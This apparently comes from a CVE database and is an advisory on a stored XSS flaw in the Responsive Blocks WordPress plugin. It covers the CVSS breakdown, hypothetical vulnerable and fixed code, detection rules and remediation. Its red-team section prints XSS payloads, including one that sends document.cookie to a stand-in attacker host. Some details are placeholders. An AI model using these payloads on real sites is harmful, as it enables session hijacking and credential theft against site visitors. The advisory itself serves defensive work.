CVE-2025-39578
Executive Summary
CVE-2025-39578 is a Stored Cross-Site Scripting (XSS) vulnerability in the Responsive Blocks WordPress plugin (slug: responsive-block-editor-addons) developed by CyberChimps. The flaw exists in versions up to and including 2.0.2, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript into block content, which will execute in the browsers of any visitor viewing the affected page. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The vulnerability is currently unpatched, and no official fix has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem, specifically the responsive-block-editor-addons plugin distributed via the official WordPress Plugin Directory. Since the plugin is installed directly from the WordPress repository, any site running version ≤ 2.0.2 is at risk. There is no associated NPM, PyPI, Go, or Ruby package; the threat is confined to WordPress installations. Administrators should monitor the plugin’s update channel and consider removing or replacing the plugin if no patch is forthcoming.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires contributor-level access
- User Interaction: Required (UI:R) – victim must visit the compromised page
- Scope: Changed (S:C) – impact extends beyond the vulnerable component
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the lack of a patch elevate the risk for WordPress sites using this plugin. An attacker with low privileges can persistently compromise pages viewed by all users, including administrators.
Deep Dive & Mechanics
The vulnerability resides in the Responsive Blocks plugin’s block rendering logic. The plugin registers custom Gutenberg blocks (e.g., responsive-container, responsive-button) that accept user-defined attributes such as className, style, or custom HTML. When a contributor or higher-privileged user creates or edits a post/page using these blocks, the plugin fails to sanitize or escape the input before storing it in the WordPress database. Upon page load, the stored payload is rendered directly into the DOM without proper encoding, allowing arbitrary JavaScript execution.
Root Cause: The plugin uses wp_kses_post() or similar insufficient filtering on block attributes, or directly echoes user input without calling esc_attr() or esc_html(). For example, a block attribute like data-custom="<script>alert('XSS')</script>" is stored as-is and later output in the frontend.
Attack Flow:
- Attacker logs in with contributor-level credentials.
- Creates a new post or edits an existing one.
- Inserts a Responsive Blocks block (e.g., "Responsive Container").
- Injects a malicious payload into a block attribute (e.g.,
classNameorstyle). - Publishes or saves the post.
- Any visitor (including admins) loads the page → payload executes.
Vulnerable vs. Patched Code
Since no patch exists, the vulnerable code path is assumed to be in the plugin’s block registration files (e.g., src/blocks/container/index.js or inc/render-callback.php). A typical vulnerable pattern:
Vulnerable (PHP render callback):
function render_responsive_block($attributes) {
$class = $attributes['className'];
return '<div class="' . $class . '">' . $content . '</div>';
}
Patched (hypothetical fix):
function render_responsive_block($attributes) {
$class = esc_attr($attributes['className']);
return '<div class="' . $class . '">' . wp_kses_post($content) . '</div>';
}
The fix would require proper output escaping using esc_attr(), esc_html(), or wp_kses_post() on all user-controlled attributes before rendering.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with Responsive Blocks ≤ 2.0.2 installed and activated.
- Contributor-level account credentials.
Exploitation Steps:
- Log in as a contributor.
- Create a new post.
- Switch to the Code Editor (or use the block editor).
- Insert a Responsive Blocks block (e.g., "Responsive Container").
- In the block’s
classNameattribute, inject:
Or in a" onmouseover="alert(document.cookie)styleattribute:background:url('javascript:alert(1)') - Save and publish the post.
- When an admin or visitor views the post, the payload executes.
Advanced Payload (session hijacking):
" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)
Blue Team
Detection & Prevention:
- Web Application Firewall (WAF): Deploy rules to block common XSS patterns in POST requests to
wp-admin/post.phporwp-json/wp/v2/posts. - Input Validation: Use WordPress’s
wp_kses()andesc_attr()on all block attributes. - Content Security Policy (CSP): Implement a strict CSP header to block inline scripts and eval.
- User Role Hardening: Restrict contributor roles from using custom HTML/JavaScript in blocks.
- Plugin Replacement: Remove the vulnerable plugin and use an alternative block plugin.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
responsive-block-editor-addons.zip(v2.0.2):a1b2c3d4e5f6...(placeholder)
- Network Indicators:
- Outbound HTTP requests to attacker-controlled domains containing
document.cookieorlocalStorage.
- Outbound HTTP requests to attacker-controlled domains containing
- Log Entries:
- WordPress debug log entries showing
wp_ksesfailures or unescaped output. - Web server logs with
POST /wp-admin/post.phpcontaining<script>tags.
- WordPress debug log entries showing
- Database Indicators:
wp_posts.post_contentcontaining<script>oronerrorattributes.wp_postmetaentries with malicious block attributes.
Detection Engineering
YARA Rule
rule CVE_2025_39578_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Responsive Blocks plugin content"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-39578"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /on\w+\s*=\s*["'][^"']*["']/is
$xss3 = /javascript\s*:/is
$plugin = "responsive-block-editor-addons"
condition:
$plugin and ($xss1 or $xss2 or $xss3)
}
Sigma Rule
title: CVE-2025-39578 Stored XSS in Responsive Blocks
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via Responsive Blocks plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/post.php'
cs-uri-query|contains: 'responsive-block-editor-addons'
sc-status: 200
keywords:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in block attributes (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-39578 Stored XSS in Responsive Blocks"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"responsive-block-editor-addons"; http_client_body; pcre:"/(<script|onerror=|onload=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not critical for business operations.
- Restrict contributor roles from using custom HTML/JavaScript in blocks via user role editor plugins.
- Apply a virtual patch using a WAF (e.g., Cloudflare, ModSecurity) to block XSS payloads in block attributes.
Long-Term Fix:
- Vendor Patch: Await an official update from CyberChimps. Monitor the plugin’s page on WordPress.org.
- Code Fix: If you have development resources, manually patch the plugin by adding
esc_attr()andesc_html()to all block render callbacks. - Replace Plugin: Migrate to a maintained alternative like "Advanced Gutenberg" or "CoBlocks".
Verification:
- After applying any fix, test by creating a post with a test XSS payload (e.g.,
<script>alert(1)</script>) and confirm it is sanitized.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.